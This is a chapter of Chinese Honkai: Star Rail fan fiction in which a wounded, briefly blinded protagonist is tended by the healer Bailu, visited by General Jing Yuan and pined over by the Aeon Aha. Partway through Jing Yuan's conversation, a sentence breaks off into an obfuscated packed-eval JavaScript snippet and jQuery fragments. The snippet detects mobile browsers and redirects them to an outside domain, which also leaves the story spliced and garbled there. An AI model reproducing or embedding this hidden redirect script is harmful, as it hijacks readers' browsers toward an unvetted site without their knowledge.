微生月薄终于从毁灭的梦境之中醒来,距离他初来罗浮,见到阿哈和岚已经过去了不知道几日。
半梦半醒间他只觉脑袋昏沉,眼前忽明忽暗,浑身酸软根本使不上力气,还隐隐有些发热。
剧烈的疼痛后知后觉蔓延了他的整个身体,心口像是破了个大洞,带着隆冬的霜雪气息,还嵌着几缕梅花冷香。
他感觉身上忽冷忽热,一会儿好似被压在滚烫的岩浆中,一会儿又像到了冰天雪地里。
冷热交加的气息顺着袖口一寸一寸攀上微生月薄的几倍,浸透到了筋骨里,很痛。
在梦中停滞的乱七八糟的悲恸与愤怒裹挟着洪流向他袭来,压在他的肩上,几乎要将他压垮。
微生月薄挣扎起身。
微生月薄安详躺回去。
微生月薄思索。
微生月薄思索失败。
不知道怪什么反正就怪阿哈!
浓腻黏稠的药汁散发着奇怪的味道,掺着苦艾草和半两冬雪,恨不得要将他和现实割裂开,让他忍下撕心的痛。
有人尽量轻柔的掰开他的嘴,将黑乎乎的药灌进嘴里,哭恨融在里面,有着将喉咙割破的尖锐的疼。
房间里很吵,浮动着让人头晕目眩的草药味,嘴里一砸摸,也是满嘴苦味。
咳嗽声撕心裂肺,带动着身体里的内伤。
随着微生月薄的动作,一口淤血被咳了出来,刚灌进去的药也连带着一起被咳了出来。
一大群人又呼啦啦围过来,微生月薄眼前发黑,耳边隐约听到了一道焦急的声音。
“你们都让开些!病人现在很需要静养。”
“特别是你,景元将军,你挡着风口了。”
微生月薄眼睛睁不开,只隐约看到几道身影在眼前晃动,他费力地伸出手,抓住了不知道谁的衣服,哑着嗓子喊停,“别晃了,我头好晕。”
就这么短短一句话,都像是废掉了他大半条命,让他细细抽着气。
被他抓住的幸运儿彦卿僵着身子根本不敢动弹。
微生月薄闭着眼紧蹙着眉,浓密纤长的羽睫颤动着,好似振翅欲飞的蝶。
眼尾晕开病态的红,像揉碎的梅花瓣。
从彦卿的角度,正正好能看到晶莹的泪珠从他的面颊上滚落。
美人垂泪,更显的他脆弱,不堪一击。
在场的所有人都看到了他痛苦的样子,一时间怔在原地不知所措,最后还是丹鼎司的丹士长丹枢开口唤醒了众人恍惚的神志。
她是一名天缺者,眼睛无法看见,所以并未瞧见微生月薄痛苦的叫人心疼的表情。
众人顺着医师的意思散出门去,这里瞬间变得安静下来。
丹枢慢慢靠近,“您现在感觉如何?”
微生月薄松开抓着那半块布料的手,那双漂亮如玻璃珠一样的眼睛变成了灰蒙蒙的样子,他无神望着不知道哪里,“医生,我看不见了。”
我去!
我看不见了!!
微生月薄面上没有表情,但心中有些抓狂,这到底是怎么回事啊!?
他瞎了?
“不必担心,只是因为疼痛压迫到了你的脑神经,短暂性失明而已,很快就能好起来了。”另一道略显稚嫩的声音的主人像是知道微生月薄在想什么,轻轻摸了摸他的眼皮。
她手小小的,带着些许海水的清爽气息,冰冰凉凉的,覆盖在眼睛上面很舒服。
微生月薄眨了眨眼睛,眼睫在这位小医生的手心里卷了卷,他心中忐忑,“真的吗?”
“当然是真的,依本小姐看,说不定睡一觉就好了。”
“就是你体内的伤,要费点时间才会好起来,我已将药方写好了,也让人帮忙熬了药,方才叫人喂给你了,接下来一段时间你还是就在医馆养着吧。”她说完就没声了,微生月薄看不见不知道人到底走没走,便应了一声,“谢谢医生。”
“客气什么,作为丹鼎司的医士,救死扶伤是本小姐的职责,你也别叫我医生了,我名白露,叫我名字就好了。”那道稚嫩的声音变得有些远,似乎去了另一边,但她的话还是传进了微生月薄的耳中。
她后面的声音有些低,断断续续的,微生月薄其实没怎么听清楚,只听见她说现在丹鼎司回不去,不然自己的伤也不会让她如此束手无策等等诸如此类的话语。
“谢谢白露。”微生月薄便又道了一次谢,再然后就不说话了。
倒是白露又开始絮絮叨叨说个不停,“本小姐还从未见过你这样的病人,明明内里五脏六腑都移了位,人却还好端端的活着,不过五日就醒来了,短暂性失明比起你这身伤都算轻的了。”
“将军并未告诉我你怎么受的伤,你自己还记得吗?”
“被偷袭了。”微生月薄只是这样说,但他的脑海中却浮现出让他变成这个鬼样子的人名。
——幻胧。
他又一次感受到了受制于人的苦痛。
如果,如果他也能和无所不能的星神平起平坐就好了,如果他也能变得很强很强就好了。
我要努力!
我要变强!
算了,好累哦,先歇会儿。
微生月薄按下心中想要作呕的感觉,慢慢合上眼,脑海中又浮现出从自己到异世界之后的事情。
好嘛,算来算去还是要算到阿哈头上,如果不是祂,自己会遭受这样多的罪吗?
扣扣。
门被敲响了,微生月薄听出了外面景元的声音,“白露小姐,景某可以进来吗?”
“进——”白露拖长了声调,“将军,就你一人进来就行了,病人现在见不了很多人。”
“知道了。”景元的脚步声由远及近,微生月薄微微侧头,却什么也没看见。
在景元进来之后白露识趣的离开了,依照她的猜测,是景元肯定要和病人谈论什么大事了,她还在这里不合适。
其实也不算特别大的事情,景元先是对微生月薄在罗浮受伤表示了歉意,如果不是近来多事,建木异动,云骑军大多都被调配去了异动最明显的工造司和丹鼎司。
长乐天在仙舟罗浮的最中心地带,谁也没想到毁灭的令使会选在这里动手。
“已经下令逮捕这位绝灭大君,或许有些困难,但您不必担心,巡猎必将对毁灭展开复仇。”景元深知这次的事故是自己的疏漏,他不会给自己找借口,只是坦然承认了自己的错误。
“您想要什么样的赔偿都可以。”
微生月薄看不见他的表情,也并没有怪他的意思,“我已经知道罪魁祸首是谁,错不在你们,岚让你们帮助我寻找回家的办法,这就是最好的承
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14970046|161300||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
诺了。”
他说话的时候,身上还是能感受到疼痛,不过几句话,他额间就渗出了细汗,景元看着他雪白的面上没什么气色,那伶仃的手腕看上去更纤细了。
他的眉心也因为疼痛折起,眉间盛着隆冬的厚雪。
那干净澄澈的眼睛在灯光下本该呈现出更剔透的色泽,却因为失明变得暗淡,看得人痛心。
微生月薄的头也还带着钝痛,导致他的神色有些冷淡,仿佛覆着一层早春极重的寒霜,“如果可以的话,请全力寻找帮助我回家的线索吧,这就是最好的道歉方式了。”
景元还想说什么,微生月薄就闭上了眼睛,表示了拒绝继续回应。
他只好轻叹一声,“如此,您便好好歇息,仙舟会给您一个交代。”
“星穹列车的成员已经抵达罗浮并非常热心肠的想要帮我们解决掉最近的麻烦,景某会从他们口中打探一些消息,若是您想见他们还请告诉某一声,我好为您和他们安排见面时间。”
微生月薄轻轻叹了一口气,“将军,不用对我用敬称,叫我名字就好了。”
“星穹列车的人,我确实也想见一见的。”
“好,我会安排。”景元顿了顿,才喊出他的名字,“那月薄你好好修养,有龙女大人在,你的伤很快就能好起来了。”
微生月薄不置可否,没再回应,景元又离开了。
「阿月,阿月,阿哈好后悔。」讨人嫌的声音又响起来了,微生月薄听到这道声音却连眼皮都没有动一下。
「该死的幻胧,该死的虚卒,该死的绝灭大君,该死的毁灭军团。」
「该死的阿哈。」
虚空之上,天外之外。
阿哈把玩着手中的烟花炸弹,脸上的面具变成了哭脸,祂随手一扔,烟花炸弹就落入了几万光年之外的毁灭军团之中。
砰——
烟花炸开,在银河中绽放出带着笑脸的纹案,虚卒被炸成了飞灰。
祂尤不解气,又朝不同地方扔出了几个烟花炸弹。
但祂心中还是不舒服,站起身在星海中无头苍蝇一样走来走去。
“讨厌,讨厌,阿哈是个讨厌鬼!”
“呜呜呜阿月,阿哈真的错了。”
祂心中不理智的情感汹涌如潮水,将祂包裹,悔恨像滴入水中的墨,让祂没办法忽视。
微生月薄脆弱的面孔印在祂的脑海中,还有四面八方向祂的阿月投来的视线都让祂越发后悔。
欢愉之主居然也会感受到心焦难耐的感情,微生月薄一直没有给出阿哈回应,祂又有些烦躁地在星海中走来走去。
没用的纳努克,将自己的手下的管不住。
阿哈面具下的嘴角勾起笑,阿哈不高兴,纳努克你也别想高兴。
一直没有得到微生月薄的回应,阿哈有些不爽,接连炸毁了军团几个驻扎点之后祂终于呼出一口气。
然后祂看向闭目养神的微生月薄,为他输送了几缕神力温养他的心脉,让他不再受疼痛折磨。
“阿月,你不是想从浮黎那里知道毁灭星神的名字吗?让阿哈告诉你吧。”
“祂的名字是——”
阿哈停顿了一下,然后才在微生月薄根本不在意的表情下笑嘻嘻的揭露了保密内容。
“祂的名字是纳努克哦。”